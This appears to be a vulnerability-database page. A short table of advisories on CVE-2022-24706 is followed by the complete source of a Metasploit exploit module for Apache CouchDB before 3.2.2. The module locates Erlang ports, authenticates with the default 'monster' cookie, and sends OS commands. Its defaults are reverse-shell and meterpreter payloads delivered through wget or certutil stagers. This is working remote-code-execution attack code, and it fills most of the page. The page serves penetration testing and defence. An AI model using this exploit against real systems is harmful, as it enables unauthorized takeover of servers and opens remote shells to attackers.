| Reporter | Title | Published | Views | Family All 34 |
|---|---|---|---|---|
| Apache CouchDB 3.2.1 - Remote Code Execution Exploit | 12 May 202200:00 | – | zdt | |
| Apache CouchDB Erlang Remote Code Execution Exploit | 2 Nov 202200:00 | – | zdt | |
| Exploit for Insecure Default Initialization of Resource in Apache Couchdb | 20 May 202204:28 | – | githubexploit | |
| CVE-2022-24706 | 26 Apr 202200:00 | – | attackerkb | |
| CVE-2022-24706 | 26 Apr 202214:36 | – | circl | |
| Apache CouchDB Insecure Default Initialization of Resource Vulnerability | 25 Aug 202200:00 | – | cisa_kev | |
| Apache CouchDB 访问控制错误漏洞 | 26 Apr 202200:00 | – | cnnvd | |
| Apache CouchDB Access Control Error Vulnerability | 28 Apr 202200:00 | – | cnvd | |
| Command Execution Vulnerability in Apache CouchDB | 6 Aug 202200:00 | – | cnvd | |
| Apache CouchDB < 3.2.2 Remote Privilege Escalation | 13 May 202200:00 | – | nessus |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Retry
include Msf::Exploit::Powershell
prepend Msf::Exploit::Remote::AutoCheck
require 'msf/core/exploit/powershell'
require 'digest'
# Constants required for communicating over the Erlang protocol defined here:
# https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html
EPM_NAME_CMD = "\x00\x01\x6e".freeze
NAME_MSG = "\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA".freeze
CHALLENGE_REPLY = "\x00\x15r\x01\x02\x03\x04".freeze
CTRL_DATA = "\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex".freeze
COOKIE = 'monster'.freeze
COMMAND_PREFIX = "\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k".freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Couchdb Erlang RCE',
'Description' => %q{
In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without
authenticating and gain admin privileges.
},
'Author' => [
'Milton Valencia (wetw0rk)', # Erlang Cookie RCE discovery
'1F98D', # Erlang Cookie RCE exploit
'Konstantin Burov', # Apache CouchDB Erlang Cookie exploit
'_sadshade', # Apache CouchDB Erlang Cookie exploit
'jheysel-r7', # Msf Module
],
'References' => [
[ 'EDB', '49418' ],
[ 'URL', 'https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit'],
[ 'CVE', '2022-24706'],
],
'License' => MSF_LICENSE,
'Platform' => ['win', 'linux'],
'Payload' => {
'MaxSize' => 60000 # Due to the 16-bit nature of the cmd in the compile_cmd method
},
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => :wget,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'CmdStagerFlavor' => :certutil,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
}
}
],
[
'PowerShell Stager',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'CmdStagerFlavor' => :certutil,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2022-01-21',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
),
)
register_options(
[
Opt::RPORT(4369)
]
)
end
def check
erlang_ports = get_erlang_ports
# If get_erlang_ports does not return an array of port numbers, the target is not vulnerable.
return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty?
erlang_ports.each do |erlang_port|
# If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been
# successful and the target as well as the specific socket used in this instance is vulnerable
sock = connect_to_erlang_server(erlang_port.to_i)
if sock.instance_of?(Socket)
@vulnerable_socket = sock
return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"')
else
next
end
end
Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched')
end
# Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers
#
# @return [Array] An array of port numbers for discovered Erlang Servers.
def get_erlang_ports
erlang_ports = []
begin
print_status("Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: #{datastore['RHOSTS']}:#{datastore['RPORT']}...")
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => datastore['RPORT'] })
# request Erlang nodes
sock.put(EPM_NAME_CMD)
sleep datastore['WfsDelay']
res = sock.get_once
unless res && res.include?("\x00\x00\x11\x11name couchdb")
print_error('Did not find any Erlang nodes')
return erlang_ports
end
print_status('Successfully found EDPM socket')
res.each_line do |line|
erlang_ports << line.match(/\s(\d+$)/)[0]
end
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
print_error("Error connecting to EDPM: #{e.class} #{e}")
disconnect
return erlang_ports
end
erlang_ports
end
# Attempts to connect to an erlang server with a default erlang cookie of 'monster', which is the
# default erlang cookie value in Apache CouchDB installations before 3.2.2
#
# @return [Socket] Returns a socket that is connected and already authenticated to the vulnerable Apache CouchDB Erlang Server
def connect_to_erlang_server(erlang_port)
print_status('Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...')
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => erlang_port })
print_status('Connection successful')
challenge = retry_until_truthy(timeout: 60) do
sock.put(NAME_MSG)
sock.get_once(5) # ok message
sock.get_once
end
# The expected successful response from the target should start with \x00\x1C
unless challenge && challenge.include?("\x00\x1C")
print_error('Connecting to the Erlang server was unsuccessful')
return
end
challenge = challenge[9..12].unpack('N*')[0]
challenge_reply = "\x00\x15r\x01\x02\x03\x04"
md5 = Digest::MD5.new
md5.update(COOKIE + challenge.to_s)
challenge_reply << [md5.hexdigest].pack('H*')
sock.put(challenge_reply)
sleep datastore['WfsDelay']
challenge_response = sock.get_once
if challenge_response.nil?
print_error('Authentication was unsuccessful')
return
end
print_status('Erlang challenge and response completed successfully')
sock
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
print_error("Error when connecting to Erlang Server: #{e.class} #{e} ")
disconnect
return
end
def compile_cmd(cmd)
msg = ''
msg << COMMAND_PREFIX
msg << [cmd.length].pack('S>')
msg << cmd
msg << "jw\x04user"
payload = ("\x70" + CTRL_DATA + msg)
([payload.size].pack('N*') + payload)
end
def execute_command(cmd, opts = {})
payload = compile_cmd(cmd)
print_status('Sending payload... ')
opts[:sock].put(payload)
sleep datastore['WfsDelay']
end
def exploit_socket(sock)
case target['Type']
when :unix_cmd, :win_cmd
execute_command(payload.encoded, { sock: sock })
when :linux_dropper, :win_dropper
execute_cmdstager({ sock: sock })
when :psh_stager
execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock })
else
fail_with(Failure::BadConfig, 'Invalid target specified')
end
end
def exploit
# If the check method has already been run, use the vulnerable socket that has already been identified
if @vulnerable_socket
exploit_socket(@vulnerable_socket)
else
erlang_ports = get_erlang_ports
fail_with(Failure::BadConfig, 'This endpoint does not appear to expose any erlang ports') unless erlang_ports.instance_of?(Array)
erlang_ports.each do |erlang_port|
sock = connect_to_erlang_server(erlang_port.to_i)
next unless sock.instance_of?(Socket)
exploit_socket(sock)
end
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation